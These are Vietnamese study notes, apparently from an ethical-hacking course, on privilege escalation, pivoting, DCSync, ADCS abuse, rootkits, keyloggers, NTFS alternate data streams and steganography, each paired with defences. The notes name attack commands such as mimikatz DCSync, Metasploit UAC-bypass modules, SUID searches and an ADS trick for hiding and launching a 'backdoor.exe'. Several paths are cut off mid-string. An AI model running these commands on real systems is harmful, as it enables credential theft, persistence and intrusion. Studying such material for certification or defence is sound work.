7. **Misconfigured NFS (Leo thang qua NFS):** NFS dùng cổng 2049. Nếu cấu hình sai, attacker có thể truy cập file hệ thống và chiếm quyền root. Các lệnh khai thác:
   - `nmap -sV <Target IP Address>`: Kiểm tra dịch vụ NFS.
   - `sudo apt-get install nfs-common`: Cài đặt gói hỗ trợ tương tác NFS.
   - `showmount -e <Target IP Address>`: Kiểm tra danh sách thư mục có thể mount.
   - `mkdir /tmp/nfs`: Tạo thư mục cục bộ.
   - `sudo mount -t nfs <Target IP Address>:/<Share Directory> /tmp/nfs`: Mount thư mục đích về máy attacker.
8. **Bypass User Account Control (UAC):** Sử dụng các công cụ/kỹ thuật để lách thông báo UAC của Windows, bao gồm:
   - Sử dụng Metasploit (`exploit/windows/local/bypassuac`).
   - **Memory injection (`bypassuac_injection`):** Chèn DLL trực tiếp vào bộ nhớ.
   - **FodHelper registry key:** Đánh cắp registry key đặc biệt và gắn vào `fodhelper.exe`.
   - **Eventvwr registry:** Dùng để chạy custom commands khi Event Viewer được khởi chạy.
   - **COM handler hijacking:** Tạo các entry trong user hive để tải DLL độc hại.
9. **Abusing Boot or Logon Initialization Scripts (Lạm dụng kịch bản khởi động/đăng nhập):** Chèn mã độc vào các kịch bản tự động chạy khi máy tính khởi động hoặc người dùng đăng nhập để duy trì quyền truy cập (persistence) và leo thang.
   - **Logon script (Windows):** Chèn đường dẫn script vào registry key `HKEY_CURRENT_USER\textbackslash{}Envi`
   - **Logon script (macOS):** Chèn payload vào login hooks.
   - **Network logon scripts:** Bị lạm dụng thông qua việc cấu hình Active Directory hoặc GPOs.
   - **RC scripts (Unix):** Chèn binary độc hại hoặc shell vào các tệp như `rc.common` hoặc `rc.local`. Khi hệ thống reboot, attacker sẽ nhận được quyền root.
   - **Startup items (macOS):** Tạo tệp độc hại trong thư mục `/Library/StartupItems`.

17. Pivoting và Relaying

Kỹ thuật dùng để tấn công các máy tính sâu bên trong mạng (External Machines) thông qua một máy đã bị chiếm quyền trước đó.

- **Pivoting (Xoay vòng):** Vượt tường lửa bằng cách lấy máy đã bị chiếm quyền làm "bàn đạp" (pivot) để quét và tấn công các hệ thống khác.
  - Các bước: Khám phá host (`run post/windows/gather/arp_scanner`) -> Thiết lập luật định tuyến (`route add ...`) -> Quét cổng (`use auxiliary/scanner/portscan/tcp`) -> Khai thác dịch vụ.
- **Relaying (Chuyển tiếp):** Khác với Pivoting, Relaying thiết lập Port Forwarding (Chuyển tiếp cổng) để truy cập trực tiếp vào các tài nguyên của hệ thống bên trong (như HTTP, SSH) ngay trên máy của attacker.
  - Các bước: Đặt luật port forwarding (`portfwd add -l 10080 -p 80 -r <IP>`) -> Truy cập tài nguyên (`http://localhost:10080` hoặc `ssh myadmin@localhost`).

18. Thay đổi Group Policy để leo thang (Privilege Escalation by Modifying Domain Policy) [Trang 796]

- Group Policy quản lý cấu hình, tài nguyên và khóa registry. Mặc định mọi người dùng đều có quyền đọc GPO. Kẻ tấn công có thể sửa đổi chính sách tên miền để tạo tài khoản mới, sửa công cụ nội bộ hoặc trích xuất mật khẩu bản rõ.
- **Sửa `ScheduledTasks.xml`:** Kẻ tấn công sửa đổi tệp theo đường dẫn `<GPO_PATH>\textbackslash{}Machine\textba` để tạo một tác vụ/công việc độc hại được lên lịch bằng cách sử dụng các script như `New-GPOImmediateTask`.

19. Sửa đổi Domain trust (Domain Trust Modification) [Trang 796 - 797]

- Các đối tượng Domain trust cung cấp thông tin về thông tin xác thực, tài khoản, cơ chế xác thực và ủy quyền.
- Kẻ tấn công sử dụng tiện ích `nltest /domain_trusts` (Lệnh đầy đủ: `C:\textbackslash{}Windows\textbackslash /domain_trusts`) để thu thập thông tin về các domain đáng tin cậy.
- Sau đó, chúng sửa đổi cài đặt của các domain trust hiện có để leo thang đặc quyền thông qua các cuộc tấn công Kerberoasting và pass-the-ticket.

20. Tấn công DCSync (DCSync Attack) [Trang 797 - 799]

- DCSync là kỹ thuật nhắm vào các Domain Controller (DC) có chọn lọc. Kẻ tấn công ban đầu phải chiếm được quyền truy cập tài khoản đặc quyền có quyền nhân bản tên miền (domain replication rights).
  - **Quyền yêu cầu:** Replicating Directory Changes, Replicating Directory Changes All, Replicating Directory Changes In Filtered Set.
- Kẻ tấn công kích hoạt các giao thức nhân bản để tạo một DC ảo, sau đó gửi lệnh `GetNCChanges` yêu cầu DC thật đồng bộ thông tin, từ đó lấy được hash mật khẩu NTLM của nạn nhân.
- **Công cụ:** Kẻ tấn công sử dụng mimikatz thông qua giao thức MS-DRSR với lệnh: `mimikatz "lsadump::dcsync /domain:<domain name> /user:Administrator"`.

21. Leo thang đặc quyền qua Active Directory Certificate Services (ADCS) [Trang 800 - 802]

- ADCS được triển khai rộng rãi để quản lý chứng chỉ trong môi trường AD (hạ tầng PKI).
- Các template ADCS bị cấu hình sai có thể bị lợi dụng để đánh cắp thông tin xác thực, leo thang tên miền và thiết lập duy trì truy cập.
- **Công cụ Certipy:** Dùng để xác định và lạm dụng các cấu hình ADCS sai. Lệnh liệt kê cấu hình: `certipy find -u '<target user>@<domain name>' -p <password> -dc-ip <DC_IP> -vulnerable -enabled`.
- Lỗ hổng nổi bật là **ESC1**, cho phép người dùng có quyền hạn chế được đăng ký và yêu cầu chứng chỉ cho bất kỳ đối tượng domain nào (ví dụ: xin chứng chỉ giả mạo Domain Administrators).

22. Các kỹ thuật leo thang khác (Other Privilege Escalation Techniques) [Trang 802 - 810]

- **Access Token manipulation** [Trang 802]: Sửa đổi access token (chứa hồ sơ danh tính và quyền của tiến trình) để giả mạo thành người dùng khác (sử dụng lệnh `runas` hoặc tạo token giả mạo).

- **Parent PID spoofing** [Trang 803]: Qua mặt các công cụ theo dõi bằng cách giả mạo ID tiến trình cha (PPID) khi sinh ra một tiến trình mới.
- **Application shimming** [Trang 803]: Lợi dụng Windows Application Compatibility Framework (Shims) dùng để chạy phần mềm cũ trên OS mới. Kẻ tấn công dùng shims để vô hiệu hóa Windows Defender, leo thang quyền hoặc cài backdoor.
- **Filesystem permission weakness** [Trang 803]: Nếu quyền của tệp nhị phân hệ thống bị cấu hình lỏng lẻo, kẻ tấn công sẽ thay thế nó bằng tệp độc hại. Tiến trình chạy tệp này sẽ thực thi mã độc dưới quyền SYSTEM.
- **Path interception** [Trang 804]: Đặt một tệp thực thi vào một đường dẫn cụ thể (khai thác unquoted paths, sai biến môi trường) để ứng dụng thực thi tệp độc hại thay vì mục tiêu hợp pháp.
- **Abusing accessibility features** [Trang 804]: Lạm dụng các tính năng trợ năng kích hoạt từ màn hình khóa (chưa cần đăng nhập). Thay thế các tệp nhị phân như `osk.exe` (On-screen keyboard), `Magnify.exe` (Magnifier), `Narrator.exe`, `DisplaySwitch.exe`, `AtBroker.exe`, hoặc `sethc.exe` (Sticky keys) bằng `cmd.exe` để lấy system-level shell.
- **SID-History injection** [Trang 804]: SID-history lưu SID cũ khi người dùng chuyển domain. Kẻ tấn công tiêm SID của administrator vào thuộc tính SID-history của tài khoản bị xâm phạm để truy cập tài nguyên bị giới hạn.
- **COM hijacking** [Trang 805]: Thao túng Component Object Model (COM). Tạo đối tượng người dùng độc hại dưới registry `HKEY_CURRENT_USER\textbackslash{}Software\textbackslash{}Classes\textbackslash{}CLS` hoặc tráo đổi DLL hợp pháp để mã độc tự chạy khi đối tượng COM được gọi.
- **Scheduled tasks (Windows: Task Scheduler; Linux: cron)** [Trang 805]:
  - **Windows:** Lạm dụng lệnh `at` và `schtasks` qua Task Scheduler hoặc thông qua RPC.
  - **Linux:** Lạm dụng tiện ích `cron`/`crond` bằng cách sửa đổi các tập lệnh thực thi tại `/etc/crontab`.
- **Launch Daemon (macOS launchd)** [Trang 806]: Tạo hoặc sửa đổi các tệp plist (property list) tại `/System/Library/LaunchDaemons` và `/Library/LaunchDaemons` để chạy bản nhị phân độc hại mỗi khi khởi động.
- **plist modification (macOS)** [Trang 806]: Sửa file plist tại `/Library/Preferences` hoặc `~/Library/Preferences` để thực thi mã độc nhân danh một người dùng hợp pháp.
- **Setuid/Setgid (Linux/macOS)** [Trang 806]: Lợi dụng các ứng dụng có cờ setuid/setgid để thực thi mã độc với đặc quyền của người sở hữu (thường là root).
- **Web shell** [Trang 807]: Kịch bản dựa trên web (web-based script) cho phép truy cập vào máy chủ web như một backdoor để duy trì quyền truy cập bền bỉ và leo thang.
- **Abusing sudo rights** [Trang 807]: Lợi dụng quyền sudo hợp lệ của người dùng để ghi đè lên các tệp tin hệ thống như `/etc/sudoers` hoặc `/etc/shadow` bằng file độc hại của kẻ tấn công.
- **Abusing SUID/SGID permissions (Unix)** [Trang 807]: Tìm và lạm dụng các lệnh có cờ SUID/SGID để sinh shell root. Ví dụ các lệnh: `nmap`, `vim`, `less`, `more`, `bash`, `cat`, `cp`, `echo`, `find`, `nano`. Lệnh dò tìm: `find / -perm -u=s -type f 2>/dev/null`.
- **Abusing '.' path** [Trang 808]: Nếu biến môi trường `PATH` chứa dấu `.` (thư mục hiện tại), kẻ tấn công tạo một tệp mã độc trùng tên với lệnh hệ thống (vd: `ls`) ngay tại thư mục nạn nhân đang đứng để lừa họ thực thi nó.
- **Abusing macOS elevation mechanisms** [Trang 808]: Lạm dụng API `AuthorizationExecuteWithPrivileges` (thiếu xác minh nguồn gốc) để cài đặt phần mềm độc hại yêu cầu quyền root.

- **Process injection via ptrace** [Trang 809]: Sử dụng lệnh gọi hệ thống `ptrace` để gỡ lỗi và ghi mã tùy ý vào tiến trình đang chạy (dùng `malloc`, `PTRACE_SETREGS`, `PTRACE_POKETEXT` hoặc `PTRACE_POKEDATA`) để leo thang đặc quyền.
- **Abusing Microsoft Software Installer (MSI)** [Trang 809]: Lạm dụng tính năng Custom Actions (kịch bản tùy chỉnh) trong gói cài đặt `.msi` chạy dưới quyền `NT AUTHORITY\textbackslash{}SYSTEM` để thực thi mã tùy ý.
- **Abusing Windows Filtering Platform (WFP) — NoFilter attack** [Trang 809]: Kỹ thuật NoFilter khai thác WFP trên Windows 11. Kẻ tấn công gọi phương thức `BfeRpcOpenToken` qua WinAPI để lấy bản sao token truy cập mức hệ thống (duplication qua thành phần WfpAle hoặc kết nối IPsec) và chiếm quyền `NT AUTHORITY\textbackslash{}SYSTEM`.

23. Công cụ leo thang đặc quyền (Privilege Escalation Tools) [Trang 810 - 813]

- **BeRoot** [Trang 810]: Công cụ hậu khai thác kiểm tra các cấu hình sai phổ biến (quyền dịch vụ, thư mục có thể ghi, khóa registry startup) để tìm cách leo thang.
- **pwncat** [Trang 811]: Công cụ định vị và khai thác lỗ hổng bằng hai lệnh chính:
  - `pwncat$ escalate list`: Xác định các vector/tùy chọn leo thang.
  - `pwncat$ escalate run`: Kích hoạt và thực thi quá trình leo thang.
- **PowerSploit, Traitor, PEASS-ng, FullPowers** [Trang 813]: Các công cụ hỗ trợ rà soát và tự động hóa leo thang.

24. Bảo vệ chống DLL/Dylib hijacking (Tools for Defending against DLL and Dylib Hijacking) [Trang 818 - 819]

- **Dependency Walker** [Trang 818]: Công cụ phát hiện các vấn đề ứng dụng phổ biến như mô-đun bị thiếu (missing modules), mô-đun không hợp lệ (invalid modules), lỗi không khớp import/export, và lỗi phụ thuộc vòng tròn (circular dependency errors).
- **Dylib Hijack Scanner** [Trang 818 - 819]: Tiện ích đơn giản quét máy tính macOS để tìm các ứng dụng dễ bị tấn công dylib hijacking hoặc đã bị chiếm đoạt (hijacked).
- *(Nguồn bổ sung thêm các công cụ phòng thủ khác như: DLL Hijack Audit Kit, DLLSpy).*

25. Biện pháp phòng chống Leo thang Đặc quyền (Defending against Privilege Escalation) (Trang 814)

Biện pháp tốt nhất là đảm bảo người dùng có đặc quyền thấp nhất có thể nhưng vẫn đủ để sử dụng hệ thống hiệu quả.

- Hạn chế đặc quyền đăng nhập tương tác (interactive logon privileges).
- Chạy người dùng và ứng dụng với đặc quyền thấp nhất (lowest privileges).
- Triển khai xác thực đa yếu tố (MFA) và phân quyền.
- Chạy các dịch vụ dưới dạng tài khoản không có đặc quyền (unprivileged accounts).
- Thực hiện tách biệt đặc quyền (privilege separation) để hạn chế lỗi lập trình.
- Sử dụng mã hóa để bảo vệ dữ liệu nhạy cảm.
- Giảm thiểu lượng mã chạy với một đặc quyền cụ thể.

- Kiểm tra kỹ lưỡng hệ thống để tìm lỗi mã hóa ứng dụng (application coding errors).
- Thường xuyên vá và cập nhật kernel, OS, ứng dụng và firmware.
- Thay đổi cài đặt UAC thành "Always Notify".
- Sử dụng đường dẫn đầy đủ (fully qualified paths) trong tất cả các ứng dụng Windows.
- Hạn chế người dùng ghi tệp vào các đường dẫn tìm kiếm (search paths) của ứng dụng.
- Đảm bảo tất cả tệp thực thi được đặt trong thư mục chống ghi (write-protected directories).
- Trên macOS, đặt các tệp plist ở chế độ chỉ đọc (read-only).

  Defend against DCSync Attacks (Phòng chống tấn công DCSync): Kiểm tra các quyền được gán cho người dùng và quản trị viên. Theo dõi các tài khoản yêu cầu quyền nhân bản tên miền (domain replication rights). Triển khai các công cụ giám sát mạng như Sean Metcalf và StealthDEFEND để thu thập địa chỉ IP của DC và quyết định xem IP nào được phép có trong danh sách nhân bản. Giới hạn quyền "Replicate Directory Changes" (Nhân bản thay đổi thư mục) chỉ cho các tài khoản dịch vụ và người dùng được ủy quyền thực sự. Triển khai công nghệ đánh lừa (deception technologies) như honeypots và chứng chỉ mồi nhử (decoy credentials) bên trong môi trường AD. Defend against PPID Spoofing (Phòng chống giả mạo PPID): Xác minh các trường PPID nơi lưu trữ thông tin để phát hiện bất thường. Xác định tiến trình cha hợp pháp bằng cách sử dụng event header PID do ETW (Event Tracing for Windows) chỉ định. Giới hạn quyền của người dùng và ứng dụng trong việc tạo ra tiến trình mới. Triển khai Allowlisting ứng dụng để giảm bề mặt tấn công. Defend against Exploiting AD CS (Phòng chống khai thác Dịch vụ Chứng chỉ AD): Sử dụng giải pháp Quản lý truy cập đặc quyền (PAM) để kiểm soát và giám sát truy cập quản trị vào các máy chủ AD CS. Áp dụng các baseline bảo mật để củng cố cấu hình của máy chủ AD CS và phân đoạn mạng để cách ly máy chủ này khỏi các mạng không đáng tin cậy.

26. Công cụ phát hiện và Phòng chống Spectre / Meltdown (Trang 820 - 821)

Các chuyên gia bảo mật có thể sử dụng các công cụ để phát hiện lỗ hổng trước khi chúng bị khai thác và cập nhật BIOS, OS, firmware:

- **InSpectre:** Kiểm tra và tiết lộ khả năng hệ thống Windows có dễ bị tổn thương bởi Meltdown và Spectre hay không.
- **Spectre & Meltdown Checker:** Một shell script trên Linux dùng để kiểm tra hệ thống trước các CVE "thực thi suy đoán" (speculative execution).

Các biện pháp phòng chống Lỗ hổng Spectre và Meltdown (Defending against Spectre and Meltdown Vulnerabilities):

- Thường xuyên cập nhật và vá lỗi hệ điều hành và firmware.
- Giám sát liên tục các ứng dụng và dịch vụ quan trọng chạy trên hệ thống.
- Cài đặt và cập nhật phần mềm chặn quảng cáo (ad-blockers) và chống phần mềm độc hại để chặn việc tiêm mã độc qua các trang web bị xâm phạm.
- Chặn các dịch vụ và ứng dụng cho phép người dùng không có đặc quyền thực thi mã.
- Sử dụng các giải pháp Ngăn ngừa mất dữ liệu (DLP) để ngăn chặn rò rỉ thông tin quan trọng từ bộ nhớ chạy (runtime memory).
- Thực hiện các biện pháp giảm thiểu rủi ro về phần cứng và phần mềm, chẳng hạn như theo dõi "speculative taint tracking" (vết thực thi suy đoán).
- Triển khai mã hóa đồng hình (Homomorphic encryption - HME) để xử lý an toàn thông tin quan trọng.

- Sử dụng các tùy chọn của trình biên dịch và các tính năng được thiết kế để giảm thiểu lỗ hổng Spectre, chẳng hạn như retpoline (một cấu trúc phần mềm) và speculative load hardening (tăng cường tải suy đoán).

27. Duy trì truy cập (Maintaining Access) [Trang 824 - 825, 829, 842]

Sau khi giành quyền truy cập và leo thang đặc quyền, kẻ tấn công cố gắng biến hệ thống bị xâm phạm thành "bàn đạp" (launchpad) để duy trì và tấn công các hệ thống khác.

- **Backdoors (Cửa sau)** [Trang 825]: Các chương trình được thiết kế để từ chối hoặc làm gián đoạn hoạt động, thu thập thông tin dẫn đến khai thác hoặc giúp giành quyền truy cập trái phép vào tài nguyên hệ thống (thiết lập hoán vị truy cập, duy trì cửa sau).
- **Crackers** [Trang 825]: Các thành phần phần mềm hoặc chương trình được thiết kế chuyên biệt để bẻ khóa mã hóa hoặc bẻ mật khẩu.
- **Keyloggers** [Trang 825, 829]: Có thể là phần cứng hoặc phần mềm. Mục tiêu là ghi lại bí mật từng thao tác gõ phím trên bàn phím máy tính để đánh cắp email ID, mật khẩu, chi tiết ngân hàng, tin nhắn.
- **Spyware (Phần mềm gián điệp)** [Trang 825, 842]: Phần mềm giám sát lén lút thu thập thông tin người dùng. Có thể chụp screenshot (ảnh màn hình), kích hoạt micro/webcam bí mật, thu thập cấu hình mạng/hệ thống và gửi chúng đến vị trí được hacker chỉ định.

28. Kỹ thuật thực thi mã từ xa (Remote Code Execution - RCE Techniques) [Trang 826]

Kẻ tấn công sử dụng nhiều chiến thuật để thực thi mã độc trên một hệ thống từ xa sau khi đã xâm phạm hệ thống ban đầu.

- **Exploitation for Client Execution (Khai thác để thực thi trên máy khách)** [Trang 826]: Khai thác các hành vi mã hóa không an toàn trong phần mềm ứng dụng khách. Bao gồm các loại sau:
  - **Web-Browser-Based Exploitation:** Nhắm vào trình duyệt web thông qua các liên kết spear phishing (lừa đảo mục tiêu) và drive-by compromise (thỏa hiệp tải xuống tự động). Nạn nhân bị lừa truy cập vào trang web do kẻ tấn công kiểm soát để kích hoạt khai thác mà không cần sự can thiệp trực tiếp của người dùng.
  - **Office-Applications-Based Exploitation:** Nhắm vào các ứng dụng văn phòng phổ biến (như Microsoft Office). Kẻ tấn công gửi email chứa liên kết đến các tệp/tài liệu độc hại. Để khai thác hoạt động, người dùng cuối (end-users) bắt buộc phải tự mở tài liệu hoặc tệp độc hại đó.
  - *(Bổ sung từ nguồn)* **Third-Party Applications-Based Exploitation:** Khai thác các ứng dụng của bên thứ ba được triển khai trên hệ thống (ví dụ: Adobe Reader, Flash).
    - **Service Execution (Thực thi dịch vụ):** Kẻ tấn công chạy các tệp nhị phân hoặc lệnh có thể giao tiếp với các dịch vụ hệ thống của Windows (Service Control Manager) để tạo dịch vụ mới hoặc sửa đổi dịch vụ hiện có nhằm duy trì truy cập.
    - **Windows Management Instrumentation (WMI):** Lạm dụng tính năng WMI để thu thập thông tin, thực thi mã từ xa và di chuyển ngang (lateral movement). WMI giúp kẻ tấn công tương tác thông qua DCOM (cổng 135) hoặc WinRM.
    - **Windows Remote Management (WinRM):** Giao thức cho phép thực thi tệp tin, sửa đổi dịch vụ và registry từ xa. Kẻ tấn công có thể sử dụng lệnh winrm để thực thi payload qua cổng HTTP 5985 và HTTPS 5986.
    - **Dameware Remote Support:** Công cụ quản lý và điều khiển từ xa hợp pháp dành cho quản trị viên Windows, nhưng thường bị kẻ tấn công lạm dụng để thao túng môi trường Active Directory

và duy trì quyền điều khiển.

* **Các công cụ thực thi ứng dụng từ xa khác (Tools for Executing Applications):** Ngoài Dameware, kẻ tấn công (hoặc chuyên gia bảo mật) cũng sử dụng các công cụ như **Ninja**, **Pupy**, **PDQ Deploy**, **ManageEngine Endpoint Central**, và **PsExec** để thực thi các ứng dụng từ xa, qua đó tiến hành leo thang đặc quyền hoặc các hoạt động độc hại khác.

29. Phân loại và Công cụ Keyloggers / Spyware (Trang 838 - 858)

- **Hardware Keyloggers (Keylogger phần cứng):** Các thiết bị vật lý cắm trực tiếp vào máy tính (thường giữa bàn phím và cổng USB/PS2), không phụ thuộc vào hệ điều hành và không bị phần mềm diệt virus phát hiện.
  - *Ví dụ:* KeyGrabber USB, KeyCarbon, Keyboard logger, KeyGhost, KEYKatcher.
- **Keyloggers cho Windows & macOS:**
  - *Windows:* Spyrix Personal Monitor, Spytech SpyAgent, v.v.
  - *macOS:* Hoverwatch Keylogger (ghi lại phím, mật khẩu, chat, ảnh màn hình), Spyrix Keylogger for Mac, CleverControl, FlexiSPY.
- **Audio & Video Spyware (Phần mềm gián điệp Âm thanh/Hình ảnh):**
  - *Audio Spyware:* Ghi lại âm thanh xung quanh, hội thoại, VoIP mà không cần quyền admin (Ví dụ: TheOneSpy, Snooper). DeepSound cho phép giấu dữ liệu bí mật vào file âm thanh và mã hóa chúng.
  - *Video Spyware:* Theo dõi webcam và ghi hình bí mật trong nền (Ví dụ: iSpy, Perfect IP Camera Viewer, OmniHide Pro - giấu dữ liệu vào file video).
  - *USB Spyware:* Các phần mềm gián điệp hoạt động qua thiết bị USB. Danh sách một số công cụ USB spyware bao gồm: USB Monitor, USBDeview, Advanced USB Port Monitor, và Free USB Analyzer.
- **Biện pháp phòng chống Keylogger và Spyware (Anti-Keyloggers / Anti-Spyware):**
  - Sử dụng trình quản lý mật khẩu tự động điền (form-filling password manager) để không phải gõ phím.
  - Sử dụng bàn phím ảo trên màn hình, phần mềm chuyển giọng nói thành văn bản (Voice-to-Text).
  - Sử dụng các công cụ Anti-keyloggers chuyên dụng giúp mã hóa thao tác gõ phím ở cấp độ kernel: Zemana AntiLogger, GuardedID, KeyScrambler, Oxynger KeyShield, Ghostpress.
  - Sử dụng các công cụ Anti-spyware: SUPERAntiSpyware, Kaspersky Total Security, Avast One, Malwarebytes.

30. Rootkits (Chương trình ẩn mình) (Trang 859 - 906)

Rootkit là các chương trình được thiết kế để ẩn giấu sự hiện diện của chúng (hoặc của phần mềm độc hại khác), cấp cho kẻ tấn công quyền truy cập toàn quyền (root-level) vào máy chủ. Chúng thay thế các lệnh gọi hệ thống (system calls) và tiện ích hệ điều hành bằng phiên bản đã bị sửa đổi để phá hoại tính bảo mật.

Các loại Rootkits:

- **Hypervisor-Level Rootkit:** Chạy ở Ring-1, lưu trữ hệ điều hành đích dưới dạng máy ảo để đánh chặn mọi cuộc gọi phần cứng (Vd: sửa đổi trình tự khởi động).
- **Hardware/Firmware Rootkit:** Ẩn trong firmware của thiết bị phần cứng (router, card mạng, BIOS). Có thể sống sót ngay cả khi cài lại hệ điều hành.

- **Bootloader-Level Rootkit:** Sửa đổi bộ nạp khởi động (bootloader) hợp pháp bằng một bộ nạp khởi động khác, kích hoạt ngay cả trước khi OS khởi động.
- **Memory Rootkit:** Nằm trong bộ nhớ RAM máy tính, sẽ biến mất khi hệ thống khởi động lại.
- **Kernel-Level Rootkit:** Chạy ở Ring-0, chèn mã độc vào lõi hệ điều hành, thay thế kernel code. Rất nguy hiểm và khó phát hiện.
- **Library-Level Rootkit:** Thay thế hoặc móc nối (hooking) các thư viện hệ thống (system calls) để sửa đổi thông tin mà các ứng dụng nhận được.
- **Application-Level Rootkit:** Chạy ở Ring-3 (chế độ người dùng), thay thế các tệp nhị phân ứng dụng tiêu chuẩn hoặc sửa đổi hành vi ứng dụng.

Cách Rootkit hoạt động (Hooking & DKOM):

- **API Hooking:** Chặn các lệnh gọi hàm (function calls) hoặc tin nhắn giữa các thành phần phần mềm. Rootkit thay đổi các byte đầu tiên của một hàm cốt lõi (như `kernel32.dll`) bằng lệnh "jmp" để điều hướng lệnh gọi đến mã của rootkit trước.
- **Direct Kernel Object Manipulation (DKOM):** Định vị và thao tác trực tiếp các cấu trúc bộ nhớ hạt nhân. Dùng để ẩn tiến trình (xóa khỏi danh sách tiến trình), ẩn cổng, thay đổi đặc quyền mà không cần móc nối hàm.

Công cụ Rootkit phổ biến:

- **FudModule Rootkit:** Khai thác lỗ hổng admin-to-kernel trong trình điều khiển Windows AppLocker (`appid.sys`). Sử dụng DKOM để phá vỡ các cơ chế kiểm tra bảo mật hạt nhân và trốn tránh Microsoft Defender/CrowdStrike.
- **Fire Chili Rootkit:** Khai thác lỗ hổng Log4Shell để thực hiện các cuộc tấn công gián điệp, hoạt động ở cấp độ hạt nhân, chặn và sửa đổi lệnh gọi hệ thống, có khả năng sống sót sau khi reboot.

Các bước phát hiện Rootkit (Steps for Detecting Rootkits):

- Phân tích dựa trên ảo hóa (Virtualization-Based Analysis): Sử dụng các kỹ thuật xem xét nội tâm (introspection) để giám sát và phân tích hệ điều hành khách nhằm tìm kiếm các dấu hiệu của rootkit ảo, hoạt động ở lớp hypervisor.
- Kiểm tra thủ công File System và Registry:
  - Chạy `dir /s /b /ah` và `dir /s /b /a-h` bên trong HĐH nghi ngờ bị nhiễm và lưu lại kết quả.
  - Khởi động máy bằng USB sạch (chẳng hạn dùng WinPE), sau đó chạy lại hai lệnh trên cho cùng một ổ đĩa đĩa cứng.
  - Chạy công cụ WinMerge để so sánh hai tệp kết quả nhằm phát hiện các tệp ẩn (vô hình ở chế độ bình thường nhưng hiện ra khi boot ngoài OS).
  - Đối với Registry: Chạy `regedit.exe` từ trong HĐH bị nhiễm và xuất các nhánh (hives) `HKEY_LOCAL_MACHINE\tex` và `\textbackslash{}SYSTEM` ra file text.
  - Khởi động bằng USB sạch, load các hive Registry tương ứng từ đĩa cứng (tại `c:\textbackslash{}windows\textb` và `\textbackslash{}system`), chuyển đổi sang text.
  - Dùng WinMerge so sánh kết quả để phát hiện mã độc ẩn dấu khóa registry.

Phát hiện và Phòng chống Rootkit (Anti-Rootkits):

- Phương pháp phát hiện: Dựa trên chữ ký (Signature), Phân tích hành vi (Heuristic), Cấu hình đường dẫn thực thi (Runtime Execution Path), Phát hiện chéo (Cross-View Based), Boot từ phương tiện tin cậy khác (Alternative Trusted Medium), Phân tích Dump bộ nhớ (Memory Dumps).
- **Các biện pháp phòng chống Rootkits (How to Defend against Rootkits):**
  - Cài đặt lại toàn bộ hệ điều hành (Reinstall OS) và ứng dụng từ một nguồn tin cậy sau khi đã sao lưu các dữ liệu quan trọng (chỉ backup dữ liệu, không backup file thực thi bị nghi nhiễm).
  - Thường xuyên thực hiện phân tích bản sao (dump) bộ nhớ hạt nhân để phát hiện sự hiện diện của rootkit.
  - Giáo dục nhân viên không tải xuống bất kỳ tệp hoặc chương trình nào từ các nguồn không đáng tin cậy.
  - Đảm bảo phần mềm diệt virus đang sử dụng có tích hợp khả năng bảo vệ chống rootkit.
  - Đảm bảo tính sẵn sàng của các phương tiện khôi phục hệ thống đáng tin cậy (trusted restoration media).
  - Thiết lập mạng và tường lửa dựa trên máy chủ (host-based firewalls).
- Công cụ Anti-Rootkit: GMER (phát hiện hoạt động rootkit sửa đổi SSDT, IAT/EAT), Stinger, TDSSKiller, Malwarebytes Anti-Rootkit.

31. NTFS Data Stream (Ẩn file trong Windows)

- **NTFS Alternate Data Stream (ADS):** Là một luồng dữ liệu ẩn của Windows NTFS dùng để chứa metadata. Kẻ tấn công lợi dụng ADS để găm (fork) mã độc vào một tệp hiện có mà không làm thay đổi chức năng, kích thước hay giao diện của tệp gốc.
- **Cách ẩn tệp:** Sử dụng lệnh `type C:\textbackslash{}SecretFile.exe > C:\textbackslash{}LegitFile.txt:S`
- **Cách chạy tệp ẩn:** Tạo một liên kết (shortcut) bằng lệnh `mklink backdoor.exe Readme.txt:Trojan.exe` và thực thi nó.
- **Công cụ phát hiện ADS:** Stream Armor, Stream Detector, GMER, ADS Scanner, AlternateStreamView. (Cách tốt nhất để xóa ADS là copy file sang phân vùng FAT/FAT32 rồi copy ngược lại, vì FAT không hỗ trợ ADS).

Các biện pháp phòng chống NTFS Streams (How to Defend against NTFS Streams):

- Để xóa các luồng NTFS ẩn, hãy di chuyển các tệp bị nghi ngờ sang phân vùng định dạng FAT (File Allocation Table).
- Sử dụng công cụ kiểm tra tính toàn vẹn tệp của bên thứ ba, chẳng hạn như Tripwire File Integrity Manager, để duy trì tính toàn vẹn của các tệp phân vùng NTFS.
- Sử dụng các tiện ích của bên thứ ba để hiển thị và thao tác các luồng ẩn, chẳng hạn như EventSentry SysAdmin Tools hoặc lads.exe.
- Bật quét virus theo thời gian thực để bảo vệ hệ thống khỏi việc thực thi các luồng dữ liệu độc hại.
- Đối với việc xử lý ADS, hãy triển khai phần mềm có khả năng sao lưu luồng, chẳng hạn như Veritas Backup Exec.
- Giám sát các quyền cụ thể cần thiết để đọc và ghi các thuộc tính mở rộng (extended attributes) của NTFS.

32. Steganography & Steganalysis (Giấu tin và Phân tích giấu tin)

Steganography (Giấu tin): Kỹ thuật ẩn một thông điệp bí mật bên trong một thông điệp/tệp tin bình thường (cover medium) để giữ tính bảo mật.

- **Phân loại:**
  - **Technical Steganography (Giấu tin kỹ thuật):** Sử dụng mực tàng hình, microdots, hoặc nhúng bằng máy tính.
  - **Computer-based Steganography Techniques (Các kỹ thuật giấu tin bằng máy tính):** Dựa trên cách sửa đổi môi trường che giấu, bao gồm 6 nhóm:
    * **Substitution Techniques (Kỹ thuật thay thế):** Thay thế các bit ít quan trọng nhất (insignificant bits) bằng thông điệp bí mật.
    * **Transform Domain Techniques (Kỹ thuật biến đổi miền):** Giấu thông tin vào các phần quan trọng của hình ảnh (như nén, cắt xén, xử lý ảnh) khiến việc trích xuất khó khăn hơn.
    * **Spread Spectrum Techniques (Kỹ thuật trải phổ):** Tín hiệu truyền thông chiếm nhiều băng thông hơn mức cần thiết, truyền thông điệp thông qua mã dải phổ để tránh bị đánh chặn.
    * **Statistical Techniques (Kỹ thuật thống kê):** Thay đổi một số thuộc tính thống kê của vỏ bọc (cover) để giấu dữ liệu.
    * **Distortion Techniques (Kỹ thuật biến dạng):** Gửi các tín hiệu truyền đạt các sửa đổi đối với vỏ bọc để tạo ra stego-object. Người nhận đo lường sự khác biệt với vỏ bọc gốc để giải mã.
    * **Cover Generation Techniques (Kỹ thuật tạo vỏ bọc):** Các đối tượng kỹ thuật số được tạo ra dành riêng cho mục đích che giấu thông tin giao tiếp bí mật.
